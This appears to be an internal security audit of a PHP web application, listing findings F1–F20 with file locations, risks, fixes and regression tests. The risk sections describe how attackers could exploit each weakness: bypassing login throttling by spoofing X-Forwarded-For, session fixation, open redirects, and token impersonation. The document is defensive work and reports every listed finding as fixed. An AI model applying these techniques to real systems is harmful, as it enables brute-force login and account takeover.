IRDB Security Review

Scope: full source tree at api/src, ui/src, api/docker, ui/docker, Dockerfiles, docker-compose.yml, compose.scheduler.yml, .env.example, Twig templates and Caddy configuration. Vendored dependencies were not audited (no composer audit / npm audit was run for this review).

Severity scale: 1 = low / informational, 2 = medium, 3 = high / critical. Severity reflects both impact and ease of exploitation in the documented deployment topology.

Each finding is referenced as F for later citation.
Findings rolled up: 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (12 fixed, 30 open).

Severity 3 — high / critical

F1 — Login throttle bypass via spoofed X-Forwarded-For

Files: ui/src/Auth/LocalLoginController.php:117-130, ui/src/Auth/LoginThrottle.php:131-137

Risk: extractSourceIp() reads the first hop of X-Forwarded-For without verifying the immediate peer is a configured trusted proxy. The throttle bucket is (lower(username), source_ip), so an attacker rotates the X-Forwarded-For value per request — every attempt is a fresh bucket and the 5/10/15-failure ladder never trips. Defeats the documented brute-force protection on the local-admin password. Argon2id slows it but does not prevent it. The UI is also reachable on :8080 directly per docker-compose.yml.

Severity: 3

Status: Fixed in 466d686. extractSourceIp no longer reads X-Forwarded-For; Caddy's trusted_proxies static private_ranges is the single trust boundary and PHP consumes only REMOTE_ADDR. Regression test in ui/tests/Integration/Auth/LocalLoginTest.php (testRotatingXForwardedForDoesNotEvadePerIpLockout).

F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout

File: ui/src/Auth/LoginThrottle.php:131-137

Risk: The bucket key is (username, source_ip). Even ignoring F1, there is no bucket that counts attempts against a username across IPs. An attacker on a distributed source (or a residential proxy pool) gets unlimited password attempts against the single LOCAL_ADMIN_USERNAME account because each new IP is a fresh bucket.

Severity: 3

Status: Fixed in 466d686. LoginThrottle now evaluates a second per-username bucket alongside the per-(user, ip) one with a 25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; isLocked() trips on either bucket and clear() resets both on successful login. Regression tests in ui/tests/Unit/Auth/LoginThrottleTest.php (testPerUsernameBucketLocksOutAcrossDistinctIps, testPerUsernameLadderProgresses, testLockoutSecondsRemainingReturnsLargerOfBuckets) and LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout.

F3 — Service token + upsertLocal mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation

Files: api/src/App/AppFactory.php:156-169, api/src/Application/Auth/AuthController.php:56-77, api/src/Infrastructure/Auth/UserRepository.php:119-159

Risk: The /api/v1/auth/* route group attaches only $tokenAuth — no RbacMiddleware, no $impersonation, no $auditContext, no $rateLimit. The controller's only check is "kind == Service". UserRepository::upsertLocal unconditionally assigns Role::Admin regardless of input. Anyone holding the service token (in env, masked-prefix-visible in /admin/config, baked into the UI image) can POST /api/v1/auth/users/upsert-local {"username":"x"} to create a new Admin user id and then impersonate it via X-Acting-User-Id on every other admin endpoint. A leaked service token is a single-step total compromise with no log trail.

Severity: 3

Status: Fixed in 8a94dff. UserRepository::upsertLocal now looks up the existing local row by is_local = 1 (not by display_name) and updates display_name + last_login_at on it; it only inserts when zero local rows exist. Migration 20260504100000_add_unique_local_user_index adds a partial unique index (WHERE is_local = 1 on SQLite; functional index over a CASE expression on MySQL) so a regression in code still fails at the DB. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testRotatingUsernamesNeverCreatesAdditionalLocalAdmins, testDbLayerRejectsSecondLocalAdminInsert). The unaudited-write half of the finding (no AuditEmitter call on user creation / role grant) is tracked separately as F5.

F4 — Audit emit is non-transactional with state mutation

Files: api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48; controller pattern e.g. api/src/Application/Admin/ManualBlocksController.php:138-157, ReportersController.php:103-116, 198-211, PoliciesController.php:135-140, 241-246, 278-283, AllowlistController.php:126-131

Risk: Every admin write performs the mutation first, then calls audit->emit(...) outside a transaction. DbAuditEmitter::emit catches Throwable, logs audit_emit_failed, and returns void. Any DB error, lock timeout, JSON encoding failure, or process kill between mutation and audit insert leaves the state changed with no audit row. An attacker with admin privileges who can intentionally fail the audit insert (e.g. abusing long details_json under MySQL strict mode, or racing audit-table maintenance) mutates state without being audited. Integrity of the audit log depends entirely on a best-effort second write.

Severity: 3

Status: Fixed in 8d948ae. AuditEmitter now exposes two methods with explicit semantics: emit() (best-effort, swallows infra errors — used only by ReportController and BlocklistController, the high-volume public paths whose emit is toggleable per app_settings) and emitOrThrow() (strict, propagates). Every admin write site (ManualBlocksController, AllowlistController, ReportersController, ConsumersController, CategoriesController, PoliciesController, TokensController, AppSettingsController, MaintenanceController.purge/seedDemo, JobsAdminController.trigger, and AuthController.upsertOidc/upsertLocal) now wraps mutation + emitOrThrow() in Connection::transactional(), so any audit insert failure rolls back the originating mutation. Cache invalidations move to post-commit. DbAuditEmitter switches to JSON_THROW_ON_ERROR so payload encoding failures become typed exceptions instead of a silent false. Regression tests in api/tests/Integration/Audit/AuditRollbackTest.php drop the audit_log table to force every emit path to fail and assert the target tables (manual_blocks, reporters, allowlist, categories, users) see zero rows added.

F5 — User creation and role assignment emit no audit

Files: api/src/Application/Auth/AuthController.php:29-77 (upsertOidc, upsertLocal)

Risk: /api/v1/auth/users/upsert-oidc and upsert-local create or update users including assigning roles via OIDC group mapping or the local-admin bootstrap, and emit no AuditEmitter calls. Privilege grants and account creation — primary SOC/ISO 27001 events — are invisible in the audit log. Combined with F3, an attacker who compromises the service token can grant themselves Admin without trace.

Severity: 3

Status: Fixed in 8d948ae alongside F4. AuthController now wraps each upsert in Connection::transactional() and emits user.created (new account, source oidc or local, with role and groups context) on the bootstrap path, plus user.role_changed when a subsequent OIDC login resolves to a different role. The auth route group now attaches AuditContextMiddleware so the rows carry source IP and request id. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testFirstUpsertLocalEmitsUserCreatedAudit, testRotatingUsernamesEmitsOnlyOneUserCreatedAudit, testNewOidcLoginEmitsUserCreatedAudit, testOidcRoleDriftEmitsRoleChangedAudit) and AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails.

Severity 2 — medium

F6 — Throttle store is per-process in memory; lost on worker recycle

File: ui/src/Auth/LoginThrottle.php:38, 43-48, 92

Risk: Counters live only in the FrankenPHP worker process. Worker recycling on memory pressure or fixed request counts wipes counters and gives the attacker fresh attempts. Multi-worker FrankenPHP multiplies allowed attempts by N silently. No persistent (DB / Redis) backing.

Severity: 2

Status: Fixed in d119b72. State moved behind a ThrottleStore abstraction; production wires FileThrottleStore, a flock-protected JSON file under sys_get_temp_dir() (overridable via LOGIN_THROTTLE_PATH). All FrankenPHP workers in one container share the same file: counters survive worker recycle and a single counter is incremented across the worker pool. Mutations take an exclusive lock on a sibling .lock file and write through a temp file + rename, so readers always see a consistent snapshot. Stale entries (lockedUntil + 24 h < now) are GC'd opportunistically. The file lives on the container's ephemeral writable layer, so a container restart still clears it — preserving the documented operator-unlock path. Multi-replica deployments still require sticky-LB mode (SPEC's documented topology). Regression tests in ui/tests/Unit/Auth/FileThrottleStoreTest.php (testFailureRecordedOnOneInstanceIsVisibleToAnother, testClearOnOneInstanceIsVisibleToAnother, testCorruptFileIsTreatedAsEmpty, testStaleEntriesGarbageCollected, testWritesGoThroughTempPlusRename, testResetUnlinksFile) and LocalLoginTest::testFailuresArePersistedToConfiguredFilePath.

F7 — Username enumeration via response timing on local login

File: ui/src/Auth/LocalLoginController.php:77-78

Risk: password_verify only runs after usernameOk evaluates truthy, so the request takes Argon2id time (tens to hundreds of ms) on a username match versus microseconds on a miss. An unauthenticated attacker enumerates the configured LOCAL_ADMIN_USERNAME value. Mitigation: always run a dummy password_verify against a fixed hash regardless of username match.

Severity: 2

Status: Fixed in 84238e6. LocalLoginController now precomputes a dummy Argon2id hash once per worker in its constructor and routes password_verify to either the configured admin hash (when set) or the dummy hash (when unset). The verify result is ANDed with the username check and the "configured" check, so a username miss still fails closed but consumes Argon2id time. Also closes the related timing channel where an empty LOCAL_ADMIN_PASSWORD_HASH previously skipped password_verify entirely. Regression tests in ui/tests/Integration/Auth/LocalLoginTest.php (testWrongUsernameTriggersPasswordVerify, testUnconfiguredLocalPasswordHashStillRunsPasswordVerify) assert the failure path takes more than 10 ms — well above any path that would skip an Argon2id compare.

F8 — headers_sent() short-circuit silently skips session regeneration / clear

Files: ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107

Risk: Both regenerateId() and clear() are gated on !headers_sent(). If headers are sent before middleware (warning output, accidental whitespace, error rendering), login does not rotate the session id. An attacker who pre-seeded a victim's irdb_session cookie can ride that session post-login (classic session fixation). Should fail-closed instead of silently no-op'ing.

Severity: 2

Status: Fixed in f811b25. SessionManager now distinguishes a CLI/test mode (auto-detected from PHP_SAPI === 'cli', overridable via constructor) from HTTP mode. In HTTP, both regenerateId() and clear() throw \RuntimeException when headers_sent() is true, surfaced by Slim as a 500 so the operator chases the upstream output bug rather than silently leaving the pre-auth cookie valid. Under CLI (PHPUnit), a manual rotation path resets session_id() and preserves $_SESSION, matching session_regenerate_id(true) semantics for tests. The headers_sent() call is also routed through an injectable closure so unit tests can drive the HTTP fail-closed path without a real web server. Regression tests in ui/tests/Unit/Auth/SessionManagerTest.php (testRegenerateIdThrowsInHttpModeWhenHeadersSent, testClearThrowsInHttpModeWhenHeadersSent, testCliFallbackRotatesIdAndPreservesSession).

F9 — OIDC session id not regenerated before the handshake starts

Files: ui/src/Auth/OidcController.php:39-47, 89, ui/src/Auth/JumbojettOidcAuthenticator.php:33-94

Risk: state, nonce, and code_verifier are stashed in $_SESSION during /login/oidc. Regeneration only happens after a successful upsert (line 89). If an attacker can fixate a session id in a victim's browser before /login/oidc is hit (hostile network, sibling subdomain, or the F8 race), the attacker shares the same $_SESSION and can later hijack the session. Standard hardening regenerates on initiate() before redirecting to the IdP.

Severity: 2

Status: Fixed in 2a57589. OidcController::initiate now calls SessionManager::regenerateId() at the top, before delegating to the authenticator that stashes state, nonce, and the PKCE code_verifier in $_SESSION. The OIDC handshake state is therefore bound only to a freshly rotated session id; any pre-fixated cookie is invalidated at this moment. The post-callback rotation is unchanged (defeats anything carrying over). Per F8, the rotation now also fail-closes if response headers were already sent, so it cannot silently no-op. Regression test in ui/tests/Integration/Auth/OidcFlowTest.php (testInitiateRotatesSessionIdBeforeAuthenticate) captures session_id() inside a fake authenticator and asserts it differs from the pre-request id.

F10 — Open redirect via attacker-controllable next parameter

Files: ui/src/Auth/SessionManager.php:139-150 (setNext / consumeNext), used by ui/src/Auth/OidcController.php:98-100, ui/src/Auth/LocalLoginController.php:106-108, ui/src/Controllers/AllowlistController.php:126-128, ui/src/Controllers/ManualBlocksController.php:168-170

Risk: After a delete action, next from the form body is sent verbatim as Location: with no validation that the value starts with a single / (not //evil.example.com) and no scheme allowlist. An authenticated operator/admin tricked into submitting a forged form (or any reflected XSS that auto-submits with the legitimate CSRF token) gets a 303 redirect to an arbitrary host from the trusted IRDB origin — high-quality phishing pivot. The login-flow consumeNext() path is currently safe (AuthRequiredMiddleware controls the source), but setNext() itself is unrestricted.

Severity: 2

Status: Fixed in 55156c5. SessionManager::isSafeRedirectPath() accepts only same-origin paths (must start with /; second char must not be / or \; no control chars including CR/LF/NUL). SessionManager::safeNextOrDefault() returns the candidate iff safe, else a hard-coded literal default. setNext() and consumeNext() also drop unsafe values silently as defence-in-depth so any future caller is safe even without the helper. AllowlistController::delete and ManualBlocksController::delete now route the next form field through safeNextOrDefault, so a malicious value falls back to the resource list rather than redirecting the operator to the attacker URL. Regression tests: SessionManagerTest data-provider truth table for isSafeRedirectPath plus testSetNextDropsUnsafeValueSilently, testConsumeNextRejectsPreviouslyStoredUnsafeValue, testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing; integration tests in CrudPagesTest (testManualBlockDeleteRejectsOpenRedirectInNext, testManualBlockDeleteHonoursSafeNext, testAllowlistDeleteRejectsOpenRedirectInNext).

F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate

Files: api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77, api/src/Infrastructure/Auth/UserRepository.php:28-37

Risk: Service-token holders can impersonate any user id by setting X-Acting-User-Id. There is no allow-list, no "disabled"/"locked" check (no such column on users), and no separate audit signal. Combined with F3, a leaked service token is unconstrained Admin.

Severity: 2

Status: Fixed. Three layers:

Active-status gate. Migration 20260504110000_add_disabled_at_to_users adds nullable disabled_at to users; User::isDisabled() exposes the predicate; ImpersonationMiddleware returns 403 user_disabled for any disabled target (mirroring the unknown-user 403 so attackers cannot use the response to distinguish "missing" from "disabled"). AuthController::upsertOidc and upsertLocal short-circuit with 403 before recomputing role on a disabled row, so a disabled user cannot drift their role via OIDC group membership while disabled.

Distinct audit signal. Migration 20260504110001_add_actor_via_to_audit_log adds actor_via (oidc|local|admin-token|service|reporter|consumer|system). ImpersonationMiddleware threads the resolved user's is_local flag onto AuthenticatedPrincipal, and AuditContextMiddleware derives actor_via from it — so audit rows split impersonated-OIDC from impersonated-local without joining users. /admin/audit-log?actor_via=local surfaces only local-admin actions for review.

Admin user-CRUD. New UsersController exposes GET /api/v1/admin/users, GET /{id}, and PATCH /{id} (body {disabled: bool}). PATCH wraps the state change + user.disabled / user.enabled audit emit in Connection::transactional() per F4. Refused with 409 on self-disable (cannot_disable_self) or on disabling the local-admin row (cannot_disable_local_admin) — the local admin is the documented break-glass path; operators wanting to lock it disable it via LOCAL_ADMIN_PASSWORD_HASH in the UI's env. UI page at /app/users (admin-only sidebar entry). OIDC and local-login controllers route the upstream 403 user_disabled to /no-access (OIDC) or to a generic "invalid credentials" flash (local — probe-resistant). Regression tests: api/tests/Integration/Auth/DisabledUserTest.php covers (a) impersonation 403 on disabled rows, (b) upsertOidc rejection without role recompute or audit drift, (c) upsertLocal rejection on disabled local admin, (d) actor_via derivation for impersonated local vs OIDC vs admin-token paths, (e) admin disable + audit emit + idempotency, (f) self-disable / local-admin-disable 409 guards, (g) /audit-log?actor_via=local filter. The remaining "allow-list" framing of F11 is by-design per SPEC §8: any user the UI BFF has upserted is impersonatable. The disabled flag is the operator's lever to revoke that consent.

F12 — Local-admin lookup matches on display_name without uniqueness guarantee

Files: api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160

Risk: findLocalByUsername() matches on display_name AND is_local=1, with no DB-enforced uniqueness on the pair. LIMIT 1 silently picks one row. A hostile/compromised IdP that pushes an OIDC user with the same display_name (and a later data fix flipping is_local) could be matched on local-admin login, binding the local-admin password to the wrong identity.

Severity: 2

Status: Fixed in 4006743. The display-name match was already removed by the F3 fix (8a94dff) — findLocal() looks up by is_local = 1 and the partial unique index uniq_users_one_local enforces "at most one local row" at the DB. F12's residual concern (a row reaching the state is_local=1 AND subject IS NOT NULL via direct DB tampering) is now addressed in two layers:

Application: UserRepository::findLocal() adds AND subject IS NULL to the query. A row with is_local=1 but a non-null OIDC subject is structurally not a local-admin row and will not bind the local-admin password — upsertLocal then trips the unique-index INSERT, surfacing the tamper as a 500.

DB: Migration 20260505100000_add_users_local_subject_invariant enforces the same predicate at the storage layer — MySQL via a CHECK (NOT (is_local = 1 AND subject IS NOT NULL)) constraint, SQLite via paired BEFORE INSERT / BEFORE UPDATE triggers that RAISE(ABORT) on the violating predicate. So a "data fix" script attempting UPDATE users SET is_local = 1 WHERE id = … against an OIDC row fails at the DB before any login can bind. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testDbLayerRejectsInsertingLocalRowWithNonNullSubject, testDbLayerRejectsFlippingIsLocalOnOidcRow, testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed).

F13 — Service token rotation leaves the old hash valid indefinitely

File: api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89

Risk: When the bootstrap detects a different service-kind row (rotation in progress), it inserts the new row but does not revoke the old. Both tokens remain valid. With no operator tooling for service-token revocation, rotated tokens may live forever in api_tokens. If an old token leaks (config snapshot, image layer) the attacker authenticates indefinitely.

Severity: 2

Status: Fixed in 40be6c1. ServiceTokenBootstrap now wraps revoke-old + insert-new in Connection::transactional() (per F4): when the configured UI_SERVICE_TOKEN does not match any current row but one or more service-kind rows are currently active, every active service-kind row is revoked_at = now()'d before the new row is inserted. The revokes and the create roll back together if any step fails — there is never an observable window with no service token. New repository method TokenRepository::findActiveServiceTokens() enumerates the rows to revoke. The bootstrap also refuses to silently re-enable a hash that is already present-but-revoked (operator must issue a fresh value rather than rolling env back). Each revoke emits a token.revoked audit row with details_json.reason = "rotated_by_bootstrap" and the create emits a token.created row carrying source: "bootstrap" and a rotated_from array of revoked prefixes — so SOC tooling can attribute the rotation and split automatic from operator-initiated revocations. Both audit rows are attributed to actor_kind=system via AuditContext::system(). Regression tests in api/tests/Integration/Auth/ServiceTokenBootstrapTest.php (testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow, testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken, testBootstrapRotationEmitsRevokedAndCreatedAuditRows, testBootstrapRefusesToReEnablePreviouslyRevokedToken).

F14 — /api/v1/auth/* has no rate limit

File: api/src/App/AppFactory.php:156-169

Risk: The auth group has only $tokenAuth. RateLimitMiddleware is not attached. getUser/{id} allows enumeration (F17), and combined with F3 a leaked service token gets unlimited writes.

Severity: 2

Status: Fixed in 9849779. The /api/v1/auth/* route group now attaches RateLimitMiddleware alongside TokenAuthenticationMiddleware and AuditContextMiddleware. Per-token-id token-bucket — same limiter the public group uses — caps a burst at API_RATE_LIMIT_PER_SECOND × 2 (default 60/s, capacity 120) per service token. The bucket bails out gracefully when no principal is present (auth failure) so it doesn't stack with TokenAuthenticationMiddleware's 401 path. Caps the enumeration speed of GET /users/{id} (a residual exposure tracked by F17), and bounds amplification of any service-token-leak abuse against upsert-local / upsert-oidc. Regression tests in api/tests/Integration/Public/RateLimitTest.php (testAuthGetUserRouteIsRateLimited, testAuthUpsertLocalRouteIsRateLimited) burst the auth endpoints past capacity under a tight FixedClock+limiter and assert the expected 429 ceiling.

F15 — MaintenanceController::seedDemo requires no confirmation token

File: api/src/Application/Admin/MaintenanceController.php:279-288

Risk: Asymmetric with purge which gates on confirm: "PURGE". Any actor with admin role (or a compromised service token via F3) can issue a single POST and load thousands of synthetic reports/IPs/blocks into a production database. The 409 "already_seeded" check is keyed only on a literal demo-named reporter, so after a partial purge the seed will re-fire. Also a cheap repeated-write DoS.

Severity: 2

Status: Fixed in 5c15fc5. MaintenanceController::seedDemo now requires confirm: "SEED" in the request body and returns 400 validation_failed otherwise — symmetric with purge's "PURGE" gate. The check runs before the 409 already-seeded shortcut and before any DB write, so a drive-by POST or repeated cost-imposition burst is rejected without touching reporters. The OpenAPI spec (api/public/openapi.yaml and api/openapi.php) documents the new request body and the 400 response. The UI BFF is updated end-to-end: AdminClient::seedDemo sends confirm: "SEED" (ui/src/ApiClient/AdminClient.php), SettingsController::seedDemo requires the user to type SEED in the form and surfaces a flash error otherwise (ui/src/Controllers/SettingsController.php), and the seed-demo modal mirrors the purge modal's typed-confirm UX in ui/resources/views/pages/settings/index.twig. Regression test testSeedDemoRequiresLiteralConfirmString in api/tests/Integration/Admin/MaintenanceControllerTest.php asserts both no-body and wrong-literal POSTs return 400 and that no reporters/reports rows landed; the existing testSeedDemoPopulatesDataAndIsIdempotent / testSeedDemoForbiddenForViewer cases were updated to send the new body.

F16 — Admin-role API tokens are not bound to a user_id → privilege persists after offboarding

Files: api/src/Application/Admin/TokensController.php:142-155, 166-177, api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67, api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59

Risk: When an Admin user creates an admin-kind token, the TokenRecord carries role but no userId. If the user issuing the token is later demoted/disabled/removed, the token continues to grant Admin until manually revoked. There is no UI/API to list tokens by issuer.

Severity: 2

Status: Fixed in 947ab89. Three layers close the gap:

Schema. Migration 20260505110000_add_user_id_to_api_tokens adds nullable api_tokens.user_id. On MySQL it carries an FK to users(id) with ON DELETE CASCADE — a hard-deleted user takes the tokens they issued with them. SET NULL was rejected because reverting to a NULL user_id would let the token re-enter the grandfathered legacy path. SQLite cannot add an FK via ALTER TABLE, so deletion-time enforcement on that driver falls back to the application layer (issuer-row lookup returns null → 401). The system has no API-level user-deletion path; both drivers behave identically for the actual offboarding flows (disable + role demote).

Binding. TokensController::create writes the acting user's id into the new column for kind=admin tokens only. Reporter / consumer / service tokens stay user-less — they are device credentials, not delegated user privilege. TokenRecord carries the new userId field; the create response and list response surface user_id, the list also denormalises a user_label (display name, email, or user#N). Admin tokens minted via bin/console tokens:create carry NULL and are grandfathered — operators rotate those after deploy if they want strict binding.

Enforcement. TokenAuthenticationMiddleware injects UserRepository; for any admin-kind token with non-null user_id it loads the issuer and refuses the token (401, same shape as every other auth failure) if the issuer row is missing, has disabled_at set, or has a current role that doesn't satisfy the token's bound role (role.satisfies(token.role)). NULL user_id skips the check, preserving the grandfathered path. ImpersonationMiddleware still validates the impersonated user separately (F11), so a service token that claims to be a disabled user is still 403'd before the role check fires.

UI: /app/tokens adds an Issuer column showing user_label (or user#N for deleted issuers, or — for legacy / console-issued tokens). OpenAPI yaml + openapi.php document the new fields.

Regression tests in api/tests/Integration/Auth/TokenIssuerBindingTest.php: testAdminTokenCreatedViaApiIsBoundToActingAdmin (binding + audit row attribution), testReporterTokenCreatedViaApiIsNotBoundToUser (admin-only binding), testListSurfacesIssuerLabel (denormalised label), testBoundAdminTokenAuthenticatesWhileIssuerActive (happy path), testBoundAdminTokenIsRejectedAfterIssuerDisabled (F11 intersect), testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole (Admin-token-after-Viewer-demote → 401), testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole (Viewer token held by Admin issuer still works), testBoundAdminTokenIsRejectedIfIssuerRowIsGone (deletion fallback on SQLite), testLegacyUnboundAdminTokenStillAuthenticates (grandfathering).

F17 — GET /api/v1/auth/users/{id} enables enumeration of internal user records

File: api/src/Application/Auth/AuthController.php:79-104

Risk: A service-token holder can iterate /users/1, /users/2, ... and exfiltrate every user's email, display_name, role, is_local. No rate limit (F14), no audit (F5), no defensive sleep.

Severity: 2

Status: Fixed by F14 (rate limit) and read-side audit added in 57ab1ba.

Rate limit. F14 already attaches RateLimitMiddleware to the /api/v1/auth/* route group, so a leaked service token is capped at API_RATE_LIMIT_PER_SECOND × 2 (default 60/s, capacity 120) per token id — both getUser/{id} enumeration and upsert-{oidc,local} abuse are bucketed on the same limiter.

Read-side audit. New AuditAction::USER_FETCHED constant (user.fetched). AuthController::getUser now emits a best-effort audit row on both the 200 (outcome: found, target_label = email|display_name) and 404 (outcome: not_found, target_label = null) paths. The 400 malformed-id path stays silent — that's a protocol error, not a valid-shape probe. emit() (best-effort) is used so a DB hiccup on the audit insert does not 500 a UI session refresh; volume is bounded by the F14 rate limit anyway. This is the only read action recorded in audit_log — every other action recorded there is state-changing per SPEC §4. The exception is documented inline at the constant.

No defensive sleep. Skipped intentionally. The 200/404 bodies differ structurally ({"user_id": ...} vs {"error":"not_found"}), so existence is trivially detectable from the response — timing is not the leak vector here. Adding usleep would only impose latency on legitimate UI session refreshes without strengthening the actual mitigation surface.

Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php: testGetUserFoundEmitsUserFetchedAudit (200 path emits row with outcome=found and email label), testGetUserNotFoundEmitsUserFetchedAudit (404 path emits row with outcome=not_found and null label), testGetUserInvalidIdDoesNotEmitAudit (malformed id stays silent), testEnumerationProducesOneAuditRowPerProbe (a 5-id sweep produces exactly 5 user.fetched rows — the SOC detection signal). OpenAPI yaml + openapi.php document the audit emission and the 404 response.

F18 — Containers run as root (no USER directive)

Files: api/Dockerfile:42-43, ui/Dockerfile:46-47

Risk: Neither Dockerfile sets a USER. PHP/FrankenPHP/Caddy run as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy CVE gets root inside the container. No --chown on COPY. The irdb-data:/data volume is owned by root.

Severity: 2

Status: Fixed in 33179d8. Both api/Dockerfile and ui/Dockerfile now create an app system user (UID/GID 1000) and switch to it via USER app after the last root-required step (apk, install-php-extensions, chmod +x, mkdir/chown). FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — no setcap is needed.

Layout choices:

/app stays root-owned and world-readable. The runtime needs only read access; leaving source root-owned is a partial mitigation for F20 (an attacker landing RCE under app cannot overwrite /app/vendor/** or /app/public/index.php to persist). Tightening the read-only stance further (e.g. mounting /app read-only at runtime) is tracked separately by F20.

/data is app-owned so phinx migrations, the auth:bootstrap-service-token console call, and runtime SQLite writes succeed without root. Newly-created Docker named volumes (irdb-data) inherit this ownership on first creation.

/home/app/.config and /home/app/.local/share are pre-created and app-owned; XDG_CONFIG_HOME / XDG_DATA_HOME point at them so Caddy's autosaved-config and TLS-cache state has somewhere to land without falling back to /root.

PHP sessions in the UI continue to use the default /tmp save path (world-writable), so no extra mount is required.

Upgrade note for operators. Existing volumes from pre-F18 deployments were created when /data was root-owned; after pulling this image the new uid=1000 process cannot write to them and phinx fails with attempt to write a readonly database. Recover with either of:
  # one-shot chown (preserves data)
  docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data
  # or, if the SQLite data is disposable
  docker compose down -v && docker compose up -d
Documented in the upgrade section of the deployment notes.

Verification: rebuilt both images and confirmed docker compose exec api id / exec ui id report uid=1000(app), the api healthz returns 200, all 429 integration tests still pass under the new user, and the UI Caddy log shows serving initial configuration with TLS storage at /home/app/.local/share/caddy.

F19 — No .dockerignore — host artifacts baked into images

Files: build context roots api/, ui/; COPY . ./ lines api/Dockerfile:31, ui/Dockerfile:37

Risk: No .dockerignore ships in either subproject. tests/, db/migrations/, bin/console, .phpstan.cache/, .phpunit.cache/, node_modules/ (UI), composer.lock are baked into the image. The repo-root .env is outside the build context by happenstance — any future developer who drops .env, .env.local, or a fixture into api/ or ui/ will silently bake it into the published image. Test fixtures and bin/console are also available to any future LFI / arbitrary-file-read primitive.

Severity: 2

Status: Fixed in 96eaa10. api/.dockerignore and ui/.dockerignore now apply to both build contexts and explicitly exclude:

.env / .env.* — the central F19 concern. Compose loads .env from the repo root (outside both build contexts), so nothing here is needed at runtime; blocking the pattern outright keeps any future stray secret file from shipping in the image.

tests/ — fixtures and integration scaffolding that doubles as LFI surface area.

Dev-tooling caches and configs: .phpunit.cache/, .phpunit.result.cache, .phpstan.cache/, .php-cs-fixer.cache, .php-cs-fixer.dist.php, phpstan.neon, phpunit.xml.

VCS / editor noise: .git, .gitignore, .gitattributes, .idea/, .vscode/, *.swp, *~, .DS_Store.

CHANGELOG.md, Dockerfile, .dockerignore, .claude/.

vendor/ (both subprojects) and node_modules/ (ui) — the multi-stage builds install clean copies in the deps/assets stages and pull them in via COPY --from=.... Excluding the host copies also fixes a subtle bug: in api/Dockerfile:30-31 and ui/Dockerfile:36-37, the COPY --from=deps /app/vendor ./vendor line is followed immediately by COPY . ./, which would have clobbered the deps-stage vendor with whatever the host had (typically a composer install-with-dev tree).

Things that ARE needed at runtime stay in the context: src/, public/, config/, docker/, composer.json, composer.lock; api also keeps db/migrations/, db/seeds/, bin/console, and openapi.php; ui also keeps resources/ (Twig views are loaded at runtime, and resources/css|js/ are consumed by the assets stage). The ui package.json, package-lock.json, tailwind.config.js, and postcss.config.js are kept because the assets stage references them by name — .dockerignore applies to every stage that shares the same context, so excluding them would break npx tailwindcss / npx esbuild. They are tiny and non-sensitive.

bin/console (api) is intentionally retained — entrypoint.sh invokes php bin/console auth:bootstrap-service-token on every api start, and phinx migrate plus the seeders run from the migrate mode. Removing them would break startup; the LFI-surface concern is mitigated by F18 (image runs as uid 1000, source tree is root-owned and read-only to the runtime user) and tracked further by F20.

Verification: rebuilt both images; confirmed the excluded paths (tests, dev caches, .dockerignore, Dockerfile, .git, ui node_modules) are absent from /app/ in the final images and the runtime-required paths (src, public, config, db/migrations, db/seeds, bin/console, vendor, docker, openapi.php, ui resources/views, ui public/assets/{app.css,app.js,logo.svg}) are present. api phpunit is 429/430 — the lone failure is the timing-sensitive BlocklistPerfTest::test50kEntriesUnder500Ms perf-budget assertion (628 ms vs 500 ms budget), unrelated to this change. ui phpunit is 134/134.

F20 — Application source is writable by the process serving requests
Files: api/Dockerfile:36-38, ui/Dockerfile:42

Risk: Combined with F18, any RCE-grade bug allows the attacker to overwrite PHP source files in /app (vendor, src, public/index.php) and persist via the next request. A USER directive plus stricter perms (read-only /app, writable only /data) blocks this persistence path.

Severity: 2
Status: Fixed in 1ec9d04. F18 already made /app root-owned so the unprivileged app user cannot write to it through standard ownership/perm checks. F20 layers on a kernel-level read-only rootfs at runtime so the same protection holds even against a primitive that bypasses uid checks (e.g. capability escalation, or a future regression that flips ownership). All three services in docker-compose.yml now carry:
read_only: true
tmpfs:
- /tmp:uid=1000,gid=1000,mode=1777
- /home/app/.config:uid=1000,gid=1000,mode=0700
- /home/app/.local/share:uid=1000,gid=1000,mode=0700
Writable paths are restricted to:

/data (api + migrate) — the existing irdb-data named volume; holds the SQLite database, phinxlog table, geoip mmdb files, the bootstrapped service token row, and any other future persistent state.

/tmp — PHP scratch and session files. World-writable (mode=1777) to match Linux convention; PHP sessions in the ui rely on this default save_path.

/home/app/.config and /home/app/.local/share — XDG dirs where Caddy/FrankenPHP write their autosave.json and (unused-here) TLS storage. Owned by uid=1000 with mode=0700 so only the runtime user can read them.

Verification: brought the stack up clean (docker compose up -d) with a synthetic .env. Phinx ran all 22 migrations; both api and ui reached healthy; both /healthz endpoints returned 200. Inside each container, touch against /app, /app/src, /app/vendor, /app/public/index.php returned Read-only file system, while /tmp, /home/app/.config, /home/app/.local/share, and /data (api only) accepted writes as uid=1000.

